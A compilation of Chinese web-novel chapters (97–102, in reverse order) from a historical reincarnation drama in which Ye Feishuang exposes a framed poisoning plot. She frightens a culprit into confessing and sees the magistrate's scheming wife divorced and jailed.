怎么她听说的都是,人犯罪了,要么砍头,要么发配边疆,要么打几十大板。 姑娘这一说,犯罪也不是什么大事啊? “律法是这么规定的,官民有别。贵族官员犯罪可以用‘议请减赎当’来减免刑罚,除非……” 小桃忙问:“除非什么?” 等上午,小桃就知道了这个“除非。” ——除非杜知府休了小秦氏。 不再是四品官之妻,那些特权也就不归她用了。 而杜知府,真的这么做了。 小秦氏娘家涂州比较远,所以休书先送来了郑老太太这里,衙役还顺便带来了小秦氏的境遇:已经被下了狱,等待发落。 傅闻达冷嗤,真是好言难劝该死的鬼。 叶绯霜由衷感叹:“这位杜大人,可真是个铁面无私的好官。” 她又说:“让你三哥去问一问,什么时候开堂公审我这位姨母,我定要去看看的。” 第102章 错上错 审完柴越,璐王府的属官问叶绯霜,是否要将他带回璐王府的牢里关着。 叶绯霜摇头说:“不用了,把他关在这里就行。” 属官显然也已经知道了柴越和杜知府的舅甥关系,试探着说:“会不会发生意外?” 意外?叶绯霜心想,那可太好了! 但她嘴上说的是:“不会的。” 属官便不多言了,毕竟来之前王妃就嘱咐过了,他就是给这位姑娘打掩护的,让她安排就行了。 一起回璐王府的路上,属官又说:“没想到姑娘竟然精通大昭律例。” 文人士子们大多读的也是些经史子集、诗词歌赋,出仕后因为工作需要才会去研习律法。 这位姑娘小小年纪,不光熟知各类酷刑,还知道首犯从犯的量刑原则。 叶绯霜笑道:“先生谬赞了,我离‘精通’还差得远。” 《大昭律》共12篇,502条。 前世为了能和陈宴多说说话,她把这本律典全都背了下来,虽然其中有很多她理解不了的。 不过没起到太大用处。因为她背完了,陈宴也升任去吏部了,嗐。 叶绯霜在璐王府里见到了坐立不安的邱捷。 邱捷本以为被带到璐王府后,等待自己的是板子夹棍老虎凳,不曾想连牢房都没去。 他被关在一间厢房似的地方,有桌有椅还有榻,但是他不敢坐更不敢躺。 还有丫鬟给他送来饭食,竟是四菜一汤,和他过年吃的差不多。 难道这是断头饭?让他做个饱死鬼? 邱捷含泪吃了三大碗,想着去了阴曹地府也有力气对付那些小鬼们。 他静静等待裁决,不曾想等来了那位帮他说话的小姑娘。 “我们已经让人找到了你母亲,她很安全,你放心吧。”叶绯霜在邱捷的震惊中说,“柴越也已经认罪了,你是清白的,可以回家了。” 邱捷忍了许久的泪再也忍不住了,夺眶而出。 怎么能不委屈呢?他明明就是冤枉的。 邱捷抹了一把脸,忽然跪在地上,朝叶绯霜砰砰磕了三个响头。 “姑娘大恩大德,邱捷没齿难忘。来日若有机会,定当报答!” 在书院,这位姑娘就是唯一愿意相信他的人。 现在又帮他救出老娘,还他清白,恩同再造。 叶绯霜连忙扶起他:“不必如此,快快起来。” 邱捷站起来,叶绯霜又说:“知府大人会再传你问话,你不必隐瞒,柴越怎么威逼的你,你照实说就行。” “是。” 邱捷临走时,叶绯霜又叫住了他,问了那个让她不解的问题:“乡试你为何只考了四十七名?” 邱捷如实道:“乡试前,柴越给了我三百两银子,想让我替他考。我拒绝了,他找人把我打了一顿,我考试时发了高热,脑子昏沉,所以成绩不尽如人意。” “还能替考?朝廷不是一直重视科举的公平性,严禁替考代考吗?” 邱捷讽笑道:“会试尚且有人作弊,更何况乡试、院试?天高皇帝远,中央的政令落实到地方还能剩几重?前任知府曹崖在任时,每届院试、乡试都有作奸犯科者。” 叶绯霜说:“新任杜知府清正严明,不会让此乱象发生。” 邱捷点头:“但愿如此。” 叶绯霜笑道:“过堂后,邱举人可以私下去拜访杜知府。若能谋个文职,也可赚些贴补,减轻家里负担。” 邱捷有些怀疑:“可以吗?” 叶绯霜点头:“邱举人入无儋石之储,出无束修之调,尚可不被柴越三百两所惑,可谓穷且益坚,不坠青云之志。你不屑于和曹崖之辈同流合污,但杜知府不同于曹崖,他会欣赏邱举人的。” 邱捷点头:“是,多谢姑娘提点。” 等邱捷走后,宁衡才蹦了出来。 他叉着腰:“好啊师傅,你是不是背着我读了好多书?说话都一套一套的了!” 叶绯霜无法告诉他,她形容邱捷的那些话,都是前世陈宴在吏部主持考课时,给御史邱捷写的考语。 —— 小秦氏跑到鼎福居,把这次的事情详细说了。 郑老太太虽说装中风,但为了装得像,大多数时间都在床上躺着,早就躺出一身火气了。 所以现在对小秦氏也没什么好语气:“我早和你说过,不要轻举妄动,你偏不听!” 小秦氏愧道:“姑母,我没想到她真的攀上了璐王府。” 傅闻达上次说听见了宁衡和叶绯霜说话,但叶绯霜咬死不认,小秦氏便怀疑是不是傅闻达听错了? 她实在想不到叶绯霜能靠什么攀上璐王府。 “姑母,我本想着让她铺子做的点心出问题,把她抓到牢里,就能让她死在里边出不来,谁知……”小秦氏哭道,“郎君还说,若查出此事和我有关,便要休我!姑母救我!” 傅闻达蹙眉道:“既然扯上了璐王府,那这件事就从商业经营变成政治事件了。甚至会有人想,表姨如此做,是否是杜大人指使?杜大人是否想挑拨皇室和清流之间的关系?” 小秦氏大惊失色,讷讷道:“不会这么严重吧……” 傅闻达真是受不了这些政治敏感度为零的蠢货。 殊不知官场上,本就是一石激起千层浪。 许多不起眼的小事,一旦沾上“政治”二字,其作用就会被放大无数倍。 “估计从味馨坊接到表姨的订单后,叶绯霜就想到了这是表姨挖的坑,她才会把璐王府一并扯进来,反给表姨挖了个坑。” 小秦氏一把拽住傅闻达:“好外甥,快给姨想想办法!” “如若柴越没有把表姨供出来便罢了,如若供出来了……”傅闻达摇摇头,“没有办法,璐王府是一定要个结果的,表姨直接认吧。” 小秦氏宛如五雷轰顶,瘫坐在地。 傅湘语不忍看小秦氏这绝望的样子,试探着道:“倘若柴越供出表姨,可不可以让他的供词不作数?” 郑老太太说:“要是柴越疯了,他的供词就不作数了吧?” 小秦氏如绝路逢生,忙道:“对,对,让他疯了!他就不能攀咬我了!我这便安排人去做,必须让他疯了!” 傅闻达摇头:“若他还在书院里便罢了,若他已经被关进了知府大牢,我不建议表姨再出手。” “难道要让我坐以待毙吗?不行!” 傅闻达说:“此次到底没有闹出人命,惩罚不会太重。表姨是四品官员的夫人,可以例减,可以收赎,最后得到的惩罚可能就是打几杖而已,不会很重。你若去害犯人,那就是谋杀了,罪上加罪。” “挨板子?不行!”小秦氏可见过打板子的场面,打得人皮开肉绽,她才不要! 傅闻达耐心地说:“表姨,有错就认,不要再错上加错了。我言尽于此,你好好思量。” 傅家兄妹走后,小秦氏脑中天人交战。 被打板子太恐怖了,她不要! 她更不要被休! 此时,她的丫鬟带来消息,说柴越已经被关进了府衙大牢里。 “那他一定会供出我的!不行,必须让他疯了!”小秦氏彻底要疯了,啼哭着问郑老太太,“姑母,郑家在府牢里可还有人手?可帮一帮侄女?” 郑老太太道:“我让罗妈妈与你说。” 这便是有了! 小秦氏大喜。 等这件事过去了,她非得和那死丫头片子再斗个你死我活! 第101章 逼招供 事实证明,陈宴还真没说错。 柴越被关进了大牢里,一位通判主审他。 因为此事涉及到璐王府,王府也派了一位属官过来。 属官后边跟着两名侍卫,一位高大魁梧,另外一位有点过分矮小了,通判不由得多看了几眼。 但他管天管地管不到人家的侍卫几尺高,所以也只是看看而已,没说什么。 柴越一开始还嘴硬得很,只说自己一个人诬陷邱捷,和旁人无关,要杀要剐悉听尊便。 然后就被绑到了木架上。 旁边还有几个木架,上边挂着几个鲜血淋漓没有人样的人,散发着浓重的血腥味。 那名矮小的侍卫走过来,指着旁边一个木架热心地给柴越介绍:“这位刚刚经受了梳洗之刑,柴公子知道梳洗吧?用开水浇在人背上,用铁梳子一层层把皮肉刮下来……” 柴越打了个寒噤,死死闭上眼睛,不想再看。 这些酷刑他以前只在书上看见过,光文字描述就已经让人毛骨悚然,哪儿看得了真人受刑? 可是眼睛能闭上,耳朵却不能。 他听到一连串声响,不尖锐,反而有点沉闷,像从木头上刮过。 “这叫弹琵琶。”矮小侍卫继续说,“不过咱们这儿不弹那种带弦的琵琶,咱们弹的,是你的肋骨。把你的皮肉割下来,露出肋骨,刀在肋骨上划过……” 侍卫用刀柄在柴越腰侧从上到下缓缓划过,柴越皮肉尚在,当然没发出弹琵琶的声音,但是这种悚然触感已经足够折磨人了。 “你们别说了!你们不如直接杀了我!”柴越颤着声音大吼。 那侍卫继续道:“还有这个,叫金瓜击顶。咱们到时候就拿这个小锤,在你头顶上一点点地敲,直敲得你颅骨粉碎,脑浆迸裂……” 柴越猛然睁开眼,汗泪交织模糊了他的视线,但他还是在这昏暗的牢狱中对上了一双明湛的眼眸。 面前的人穿着王府护卫的衣服,带着头盔,挡住了下半张脸,只露出一双眼睛。 就是这双眼睛!他认得! 昨晚闯进他的房间,挟持他的那名女匪! 柴越的下颌剧烈颤抖着,牙关发出激烈碰撞声。 他想到对方用利刃划过他的喉头,干脆利落。 她敢杀人。 更敢给人上刑。 那些酷刑…… 叶绯霜转头看向通判和属官:“既然没有共犯,那就是柴越一人所为。戕害同门,罪不可赦,不如把刚才我说的刑罚都让他受一遍,以儆效尤!” 什么……都受一遍? 叶绯霜叹了口气:“若还有共犯,那按照我大昭律例,造意者为首犯,当严惩。从犯比之减一等,就不用受这些酷刑了,可惜了……那就先从梳洗开始吧?二位大人觉得呢?” 柴越吓懵了,彻底崩溃了。 “我说,大人,我说。”柴越哭喊着嚎叫,“我还有共犯,我不是造意者,我只是从犯。” 若得死,也就是手起刀落的事。 但他怕求生不得求死不能,像木架子上挂着的那些人一样,生不如死。 —— 杜府后宅,杜知府的书房里。 杜知府问小秦氏:“你提议让我重阳节带人登高,去怀瑜书院雅集,是不是就是为了算计味馨坊?” 小秦氏忙道:“怎么会?天大的冤枉啊!郎君今年才来荥阳上任,端午、中秋都忙于正事,没能和本地官员们交集。好不容易重阳得了空闲,我才提议郎君和他们聚一聚,多交际,对仕途有利啊。” 小秦氏以帕捂脸,哭得梨花带雨、身软体颤:“我满心为了郎君,郎君竟然疑我!” 哭了半天没有听到安慰,她悄悄抬眸,撞入杜知府毫无感情的利眼中。 小秦氏心头一紧,宛如兜头被浇了一盆凉水。 她这郎君是个不解风情之人,她知道。 当初娶她,也只是从了父母之命、媒妁之言。 其实按照秦家本来的门第,她是攀不上杜知府的。 但谁让秦家出了个荥阳郑氏的老太太,又出了个四夫人,秦家几个兄弟也在成国公和郑侍郎的关照下捞了几个不大的官职,秦家彻底改头换面,也有了显贵之姿,给她议亲时才议到了杜知府。 小秦氏对这夫君是很满意的。名门出身,二甲进士,未来前途不可限量。 她觉得自己长得漂亮,身段又好,更悄悄钻研了许多房中秘术,不怕不能和她这郎君鱼水相得。 可事实是,他们成婚八载,杜知府还是对她不冷不热的。 每个月就只逢五到她房中,公事公办。任凭她使出浑身解数,他也不会多来几次。 她为此还和婆婆哭闹过,婆婆不想插手儿子的房中事,但为了子嗣,还是提点了一下杜知府。 这下好了,逢五他也不来了。 小秦氏已经守了一年空房了。 这次夫君被调任荥阳,小秦氏觉得自己可以翻身了。 姑母在荥阳,她就有种娘家在荥阳的踏实感。 到时候让姑母帮帮她,大不了用郑氏的名号施压,也非得让夫君和她重修旧好。 可她还没来得及让姑母帮忙呢,姑母就假中风了。 她怎么能不恨叶绯霜那个小丫头片子呢? 不光害得她姐姐惨死,害得她姑母装病,害得她外甥外甥女被扫地出门,还断了她的退路! 她真恨不得将那个死丫头碎尸万段。 杜知府冷淡的声音让她回神:“昨日在书院,我问讯郑五姑娘时,你屡次插嘴。” 小秦氏哽咽着解释:“郎君,我也是关心则乱,我以后不会了。” “如若此事与你无关便罢了,倘若你也有参与……” 他一顿,小秦氏的心就被提起来了,颤着嗓音问:“你又当如何?” 杜知府戴上官帽,准备去衙门了。 “我会休妻。”他说。 “杜景才!”小秦氏面色铁青,“我为公爹守过三年孝,你不能休我!” 杜知府走到小秦氏面前,朝她笑了。 他是个肃正之人,很少笑,小秦氏有些恍然。 杜知府抬手,温柔地给她擦去脸上的泪痕。 “郎君……” 下一刻,杜知府用力掐住了小秦氏的脸,虎口卡在她下颚处,迫使她再说不出话来。 “我方才说如若此事与你有关,我才会休妻。我又没说一定与你有关,你急什么?” 小秦氏面色煞白,眼里又盈了泪。 “我是不是早就说过,乖乖呆在后院,不准过问我的公事,更不准用我的公权谋私利,不准插手府衙事宜?柳姨娘的事情你忘了?” 柳姨娘是杜知府的妾,还给他生了两个儿子。偷偷为自己的弟弟在府衙谋了个小官,拿了三十两银子的好处。 被杜知府知道后,按律打了三十脊杖,当场就咽了气。 小秦氏心跳如雷。 一边想,她是妻,和妾不一样。 又想,柳姨娘有两个儿子都没保住她,况她只是收了点回扣,而自己不光连累了那么多文人士子,还牵扯到了璐王府…… 杜知府松开了小秦氏的下巴,在她脸上轻轻拍了拍,说:“你自求多福。” 第100章 吓一吓 叶绯霜没有回答陈晏。 她在认真听敌人说话。 “柴越,你今日也太鲁莽了。就算那邱捷有罪,自有你舅舅处置,轮不到你对他动手,你这样可失了文人风度。” 柴越,也就是那青衣士子,惭愧回答道:“舅母教训得是,怪我今日没控制好自己,回去后定好好反省。” 小秦氏声音放缓,循循善诱:“就算那邱捷最后真被定了罪,你也不要落井下石,大度点,省得落人口舌。” “是,谨遵舅母教诲。” “好了,你回去歇着吧。” 二人话落,分别回了客栈。 “原来杜知府是柴越的舅舅。”叶绯霜说。 那他能和小秦氏联手也就不奇怪了。 “听完了,现在满意了?”陈宴问。 叶绯霜道:“果然没有得到什么有用的消息。” 她倒也不失望。 刚才陈宴说过,那两个璐王府的护卫被诈走了,这证明小秦氏和柴越已经察觉到自己被盯上了,当然不会蠢到再当面密谋什么。 叶绯霜和陈宴往回走。 刚才的问题没有得到回答,陈晏也很识趣地不再问了。 她能不能转变对他的态度,还是要看他今后如何表现。 叶绯霜喃喃自语:“本来想听听他们会不会谈到拿了邱捷什么把柄,才让邱捷为他们顶罪。” 陈宴道:“这种事不外乎两种手段,一威逼,一利诱。” 叶绯霜说:“邱捷都是举人了,还能穷成那样,绝不可能是会被利诱之人。” 陈宴想到邱捷那满是补丁的布衣还有已经烂了一半的草鞋,不置可否。 叶绯霜仔细想了想,还真让她想起一点有用的来。 前世陈宴谈起邱捷的时候说过,他是被他的寡母拉扯大的。 算算时间,邱捷的寡母还活着。 现在应该已经落到了柴越手里? 陈宴看叶绯霜的表情越来越严肃,便知她又有了打算,问:“你又想做什么?” “既然他们不主动谈起,那我只能去问了。” “问柴越?” “当然。” 能用直的,就不搞那些弯弯绕绕。 叶绯霜把面衣往上拽了拽,又拔出袖中匕首,问陈宴:“你看我有几分像强盗?” 借着月光,陈宴终于发现她哪里怪怪的了。 她不光穿了一身黑衣,还垫了肩背,鞋里估计也垫了东西,整个人看起来高大了一些。 “看来五姑娘对做贼颇有心得,竟然还穿了夜行衣,还改变了身形。” 岂止夜行衣,她的马车里还准备着抓钩、迷药、大刀、长剑,甚至还有黑火药。 有备无患很重要。 —— 柴越回了客栈。 他下山是特意来找小秦氏的,想告诉她不用担心,邱捷的老娘已经被他控制了。 为了他老娘的命,他绝对不敢胡乱攀咬,只能背了这口黑锅。 谁知半路发现有人鬼鬼祟祟跟着自己,于是和自己的随从耍了个小计,把对方诈走了。 知道自己被盯上了,柴越也不敢和小秦氏大声密谋了,怕暗处有人偷听,只能说点没用的场面话。 现在这么晚了,柴越不想连夜回书院,便在客栈住下了。 要了热水,舒舒服服地泡在浴桶里,还哼了个小曲。 “嘿,这次就要让他邱捷翻不了身!”他对伺候自己洗澡的小厮说,“中了举人又如何?还不是一副穷酸样!还总是在少爷我跟前摆出一副清高做派,早看他不顺眼了,我呸!” 小厮忙道:“少爷英明!” “哼,没眼力见的东西。上次乡试,少爷我给他三百两银子,让他替我去考,他偏不!他自己考上又能怎么样?当不了官,他一辈子也赚不了三百两银子,不识抬举!” 小厮:“不识抬举!” “要是把那名次给了我,我再求舅舅打点通融,我早当官老爷去了!还念这什么劳什子破书!” 小厮:“都怪那个邱捷!” 柴越磨牙:“他还敢和少爷我抢女人!阿絮师妹也是他能肖想的?等他挪到府牢里,我非得找人阉了他!” 小厮偷偷往水里瞟了一眼,不敢讨论这个话题,怕一个不慎戳到他家少爷的痛点。 他家少爷身量和年龄都在长,偏男性雄风不怎么长。之前有一次去花楼还被里边的姑娘打趣,说小小的也很可爱。 房门忽然被敲响,小厮问:“谁?” 外边答:“送宵夜的。” 少爷是叫了宵夜,小厮去开门。 不料当胸一脚,直接把他踹晕了。 屏风后头的柴越听见了重物倒地的声音,警惕地问:“怎么了?” 话音刚落,一个黑影就绕过屏风掠了进来。 柴越还没来得及挣扎,就被扣着脖子按在了桶沿。 颈侧一凉,利刃贴了上来。 “告诉我邱捷的娘在哪里。”叶绯霜在他耳边低声说,“别乱叫,别人来救你的速度可没我的刀快。” 即便她刻意压低了声音,柴越也听出了这是个年轻女郎。 但男女并不重要,利刃贴着喉管的冰凉感实在太吓人了,柴越的头发都要竖起来了。 求生是本能,不管柴越在小秦氏面前保证得多好,真到了这一刻,又真能慷慨赴死? 柴越的声音颤得厉害:“女侠,邱捷的娘和我没关系啊,我哪儿知道呢?” “不说?” “女侠,我真不知道啊,你杀了我我也不知道!” “那我成全你。”叶绯霜不和他废话,直接动手。 锋利的刀刃划破皮肉,刺痛感顺着神经窜上头皮,鲜血滴落在水面上,洇开一片血雾。 在痛感和视觉刺激的双重夹击下,柴越瞬间就崩溃了,他从未感觉死亡离自己这么近过。 他才十五岁,他的人生才刚刚开始,他怎么能死呢? 柴越立刻改了口:“女侠饶命,我说!” 等他把邱捷母亲的下落说完了,叶绯霜又问:“此次书院学子中毒之事是你栽赃的邱捷,我还知道了这件事的幕后主使是知府夫人秦氏,你可愿指认秦氏?” 柴越涕泗横流地摇头:“和秦夫人没关系,是我做的!我为了报复邱捷才陷害的他,是我一个人的主意!” 叶绯霜的刀子又深了一点,柴越浑身抖如筛糠,吓得失禁了。 失禁之后,直接晕了。 此时,那两名倒霉的璐王府护卫回来了。 俩人知道差事没办好,羞愧不已。 叶绯霜当然不会怪他们,只让他们帮忙柴越带回去。 陈宴就在房间外边,见叶绯霜出来,问她:“他不愿招供小秦氏,你当如何?” 这一刻,叶绯霜看着面前的人,不知道怎么地想到了前世那个在刑部号称铁面郎官的陈大人。 她问:“陈公子觉得应当如何呢?” 一向很有主意的人来征询自己的意见,让陈宴有些意外,又有些说不出的暗喜。 “柴越这种人,连严刑逼供都用不上。”陈宴慢悠悠地说,“吓一吓就够了。” 第99章 接受我 虽然极度震惊,心中翻起了惊涛骇浪,但脑子还是清晰的。 还真让他猜中了。 但那又如何? 还是那句话——她不承认,谁能拿她怎么样? 陈宴还能把她关到大牢里,用七十二道刑罚逼她承认什么前世? 叶绯霜扯着唇角,露出一抹讽笑:“想了大半年,陈公子就得出了这么一个荒谬的结论?你不觉得很好笑吗?” 陈宴正色道:“既然这是唯一说得通的解释,我倒觉得也不是不能接受。” “我不能接受。”叶绯霜指了指门口,“陈公子莫不是困糊涂了?赶紧去歇着吧,大晚上说这些胡话,吓死人了。还前世,我要真有那个能耐,我早就去赌石发财了,我还辛辛苦苦开什么点心铺子。” 陈宴站在桌边不动,问出一个石破天惊的问题:“前世,难道我和傅湘语有什么关系?” 他的眉头微微蹙着,表情有些一言难尽的嫌弃。 也不知道是对傅湘语还是对他自己。 “陈宴你还来劲了?哪有什么前世!读书读傻了吧你。”叶绯霜一副受不了的样子,“你自己发疯相信那些志怪故事,我可清醒着!我才不会信你这些胡话!” 陈宴沉浸于自己的推理中无法自拔,语调艰涩地说:“难道前世,我们成亲后,我和傅湘语……有了私情?” 不这样无法解释“狗男女”。 叶绯霜:“……” 这要是不给个解释,这人还出不来了。 叶绯霜深吸一口气:“其实是这样。曹崖那些人斩首时我去看了,我在酒楼里听见你和傅湘语说话了。她哭得伤心,你十分温柔地安慰她,有种郎情妾意的感觉,我当时……” 叶绯霜咬了咬牙,为了掩盖前世只能牺牲这一世自己的清誉了:“我当时很不高兴。虽然我对你没有男女之情,但我们毕竟有婚约,你就应该只能和我有牵扯。你和别的女子不清不楚,你不正经!我不高兴了,我就记恨上了,所以骂你们是狗男女。” 陈宴眼中闪过一抹笑意,却用匪夷所思的语气说:“你对我没有男女之情,但是有占有欲?” “谁……”叶绯霜一口气哽在了喉咙里,觉得又肉麻又觉得恶心。 但自己刚说的话也怪恶心的,于是就破罐子破摔了:“你要这么想就这么想吧,我可能是有点占有欲。要是你觉得我不可理喻,你就赶紧和我退婚。否则你就别搞不三不四的男女关系,你得尊重我。” 陈宴扬眉:“你尊重我了吗?” “我又没有乱搞男女关系。” “你当着我母亲的面骂我,这叫尊重我?” “那好吧,我们扯平了。” 陈宴:“?” 这是哪门子的扯平?受伤的不全是他? 叶绯霜坐回凳子上,给自己灌了一杯凉茶压惊。 要死了,他们到底在说什么? 他们两个现在还都是正常人吗? 叶绯霜放平声调,好声好气:“陈公子,你也坐下来,我们好好聊一聊。” 她必须把他猜中的“前世”给抹掉,否则这人起了疑,更要拽着自己不放了。 “这世上有一些讨厌它就是没有缘由的。实不相瞒,我第一眼见到你,我就觉得咱俩气场不和。你难道就没有遇到过一些,第一眼见到就看对方很不爽,知道对方和自己绝对不是一路的,这种人吗?” “没有。”陈宴说,“我还是相信,没有无缘由的爱,也没有无缘由的恨。” “但是有无缘由的讨厌啊!” 陈宴沉吟一瞬,在短短的片刻中反省了一下自身,得出自己这人不至于太差劲的结论后,认真说:“我并不觉得这种无缘由的讨厌会发生在我身上。” “你就是从小听到的赞誉太多了,你应该多听听不同的声音,不是所有人都要喜欢你的。” 陈宴点头:“可以。但目前只有五姑娘你对我有不同的声音,我只能从你这里听。但你总和我疏远。我不来找你,你也不去找我,我该怎么听?” “别着急,以后会有的。”叶绯霜冷漠却坚定地说,“等你以后当了官,你这性子肯定要结很多仇家,到时候说你什么的都有。” 陈宴扬起眉梢:“前世的我是这样的吗?” 叶绯霜:“……” 怎么又绕回去了? 叶绯霜要疯了:“没有前世!不要我一说到‘以后’你就联想到那见鬼的前世可以吗?那是你的臆想,它根本不可能存在!这世上也没有陈可常,更没有什么常欢喜罗汉!” 真的要了老命了。 怎么真能推出这个前世呢? 脑子这么好使分一点给没脑子的人好不好? 叶绯霜决定不和他争论了,否则真怕自己被套出什么来。 她生无可恋地说:“陈公子你可以走了,我要睡了。听你说了一通胡话,我好累。” 陈宴从善如流地说:“五姑娘夜安。” ……只要你别来找我展现你可怕的想象力我就真的很安。 陈宴走后,叶绯霜拍了拍脸,让自己冷静下来,还要办正事呢。 又过了一会儿,等其它房间的灯都熄了,叶绯霜悄悄出了房间。 她和宁衡借了两个护卫,一个派去盯着小秦氏,一个派去盯着打邱捷的那个青衣士子了。 两人都没来和她回话,可见没有什么异动。 但她决定亲自去探查一下,主要想知道这次设计她的事是小秦氏一手策划的,还是杜知府也有参与。 她蹑手蹑脚地走过转角,冷不丁撞到了一个人身上。 她顿时就握紧了袖中的匕首,对方早有所料似的,按住了她的手。 这熟悉的禁锢感。 叶绯霜戴着面衣,只露出一双眼睛,瞪着这个两刻钟前才刚道完夜安的人。 “陈宴,你不去睡觉,深更半夜地在这儿干什么!” 陈宴的声音亦很低:“别去那边了,小秦氏不在房内。” “哦?可是我让人……” “你说那两个璐王府的废物护卫?早让人诈走了。”陈宴握着她的手腕,“跟我来。” 他带着叶绯霜往相反的方向走。 叶绯霜用气音说:“你不会在这里等我吧?” “是。”他说,“就知道你有动作。” 陈宴带着她下楼,从客栈后院的小门出去。 又走了一段,叶绯霜听见了说话声。 还真是小秦氏和那名青衣士子。 叶绯霜蹲在一棵大树后边,鬼鬼祟祟地观察敌情。 陈宴认真盯着她的背影看了一会儿,低声问:“我是不是比璐王府那些人靠谱?” 事实当前,不好反驳,叶绯霜点头:“嗯。” 陈宴又说:“或许……” “嗯?” “你以后可以试着接受我,起码……别那么讨厌我,好不好?” 第98章 前世债 叶绯霜觉得自己已经神功大成了。 听到陈宴问出这个问题,虽然心一瞬间提到了嗓子眼,但是她还能脸不红、气不乱、手不抖地把茶斟完了,一滴都没有洒。 甚至还能气定神闲地问:“这大半年里,陈公子应该已经把我的生平查了个底朝天吧?我和陈公子初见便是在船上,此前从未见过。” 陈宴道:“五姑娘可曾听过陈可常端阳仙化这个故事?” 叶绯霜:“愿闻其详。” 陈宴站起身来,在屋内缓缓踱步,清润的声调也是悠悠的:“有一个叫陈可常的秀才,三举不第,出家为僧。后来得到了一位郡王的赏识,成为了郡王府的门僧。 郡王府一位歌女有孕,诬陷陈可常为姘头。郡王将陈可常下狱,屈打成招。后来真相大白,姘夫实为郡王府管家。但陈可常已于端午那日坐化圆寂,以死证清白。 郡王去观陈可常火化礼,火光中显出陈可常法身,自述为五百罗汉中常欢喜尊者,因前世欠宿债,今生来偿还。如今债已还完,当归仙境。” 圆桌上有一豆灯火,火光跳跃,映照出叶绯霜因为“前世”二字而有些变了的脸色。 “陈可常圆寂前留下一首《辞世颂》,中有一句‘为前生欠他债负’,他觉得歌女冤枉自己,是因为前世自己欠了歌女的债。” 陈宴此时踱步到了叶绯霜身后:“于是我便以陈可常自比,或许前世,我也欠了五姑娘的债?以至于五姑娘这一世,对我有诸多怨恨。” 他的声调明明那么轻,偏偏每一个字都宛如重锤,用力敲在叶绯霜的心口,让她几乎难以保持现在的平静。 但她还是淡定地说:“前世?陈公子不觉得这太离奇了吗?我早就说过了,因为我不喜欢我们之间的婚约,所以连带着不喜欢和我有婚约的你。” “五姑娘是个聪明人,很会权衡利弊。我和你的婚约,即便要履行,最早也要等你及笄之后,这中间最少有四五年的时间。” “这四五年里,你完全可以依靠这纸婚约将我、乃至整个陈家和你紧密联系起来,让我们成为你的助力。那么很多事情做起来就会很简单——这才是五姑娘你该做出的正确选择,但你为什么非要和我割席呢?” 陈宴站在叶绯霜身侧,右手撑着桌沿,灯光将他的身形投出的阴影和他的目光一起,将叶绯霜完全笼罩了起来。 她仰头,回视着陈宴:“我和你说过,这桩婚约给我带来很多麻烦,为我招了很多仇恨,所以我想早早退掉。” “要是我们真的退婚了,她们就会放过你了?不会的,她们只会变本加厉,让你更加没有立足之地。五姑娘,这个道理我不信你不明白。” 在叶绯霜冷淡的眸光中,陈宴继续说:“既然退与不退,带来的都是麻烦,我相信五姑娘你会选择不退,起码还能利用利用,给自己换取些好处。但你还是坚定地要退,这违背了我对你的认知。” “什么认知?” “利益至上。”陈宴一字一顿,“自从你回了郑家,你一直在为你自己、为你爹娘争取利益。你会权衡很多事情,如果最终得到的好处可以大于你的付出,你就会做。” 叶绯霜的呼吸有点重了。 她不得不承认,陈宴说对了。 就像当初用苦肉计为郑茜静挡伤害,单枪匹马去救璐王父子导致自己身受重伤,这都是她权衡利弊后的结果。 她从不怕付出代价、也不怕流血流汗,只要最后得到的好处足够大,只要付出的代价是她可以承受的,她就会毫不犹豫地做出选择。 “在船上见到我后,提出退婚,被我拒绝,五姑娘便应该会明白我的态度,知道这桩婚不好退。那么五姑娘会做的,就是在下次见面后,对我假意讨好也罢,虚伪逢迎也罢,总之,五姑娘会选择和我熟稔起来。 然后把我拉拢到你的阵营里,帮你在郑家站稳脚跟,再从我这里获取物质或者人脉上的支持,从而争取到你想要的东西。” 陈宴说话时一直盯着叶绯霜,像是在认真捕获她的反应:“即便和我接触期间,你会有不适、不满,但你都会忍下来,面上依旧做得无懈可击。你不会和我争吵,不会惹我不高兴,你会对我百依百顺,让我更加喜欢你、欣赏你,从而更加尽力帮你。” “等你利用完我,得到所有你想得到的,你就会用一个破釜沉舟的方式,解除这段婚约,彻底和我割席。” 陈宴弯下腰来,距离拉近,叶绯霜隐约都可以感受到他说话时的气息。 “我以上说的,才是五姑娘你本该、也本会做的,对吗?但你没有,仿佛你早就知道了一个结果,那就是你用尽全力都讨好不了我、从我这里得不到你想要的。所以你才连试都不愿意试。” 叶绯霜浑身僵硬,绷紧了唇角,她全力控制着自己的情绪,不让自己露出一丝一毫的怯。 “陈公子,你未免太自信了,你凭什么认为我就该按照你的想法来做?” “不是我的想法,是你的想法。”陈宴盯着她,“这半年来,我不止一次站在你的立场上进行思量,我刚才说的那些,是对你来说最轻松、也最划算的一条路。” 叶绯霜发出一声荒谬的冷笑:“那陈公子还思量出什么了?” “还思量出因果关系错了。” “哦?” 陈宴用手指沾了茶水,在桌面上画了左右两个圆圈,中间有一个箭头,让右边圆圈指向了左边圆圈。 “五姑娘并不是因为讨厌这桩婚约,从而讨厌我。” 他把箭头抹掉,画了一个反方向的箭头:“应该是,因为讨厌我,所以讨厌这桩婚约。” “而且你对我的厌恶已经完全盖过了利用这桩婚约可以得到的好处。你无法容忍我,更无法接受我。” 他又在左边圆圈的左边画了个箭头和一个新圆圈。 “但我实在想不出你讨厌我的原因。”他点了点那个新圆圈,“既然我们从前并不认识,也无世仇,那这么深的厌恶从何而来?” “大概天意如此,我百思不得其解时,随手拿了本书一翻,恰好翻到了写有一个故事的那一页。”他扬了扬唇角,“便是我刚才给五姑娘讲的,陈可常端阳仙化。” “我把陈可常说的前世债放在这里,”他指着最左边的圆圈,“发现一切都能解释通了。” 叶绯霜浑身僵硬成了个雕塑,耳边轰鸣作响。 陈宴盯着她,把他刚才那个问题又进了一步:“五姑娘,我们有前世债吗?” 第97章 聪明误 陈宴有些奇怪,为何叶绯霜会言之凿凿地相信这个邱捷? 叶绯霜是在听到邱捷的名字后突然站起来的。 这个名字? 陈宴想了下,发现自己没听说过,不认识。 杜知府问:“郑五姑娘,你说不是邱捷所为,可有证据?” 叶绯霜哪有证据? 她无非是依照前世陈宴的评价,以及邱捷此人不钻营、不结党以至于做了十几年七品御史不曾晋升的生平得出此人身正品端的结论。 叶绯霜说:“知府大人,我一直觉得读书人都很明事理,哪怕一时糊涂犯了错,也不能就直接给判死刑啊,给个改过自新的机会也是好的,毕竟人活着,谁能不犯错呢?” 她现在要做的是把邱捷的命保住,别让他被打死在这里。 打邱捷那人又说了:“他不是犯错,是犯罪,懂吗,郑五姑娘?而且是谋杀这样的十恶不赦的大罪!” 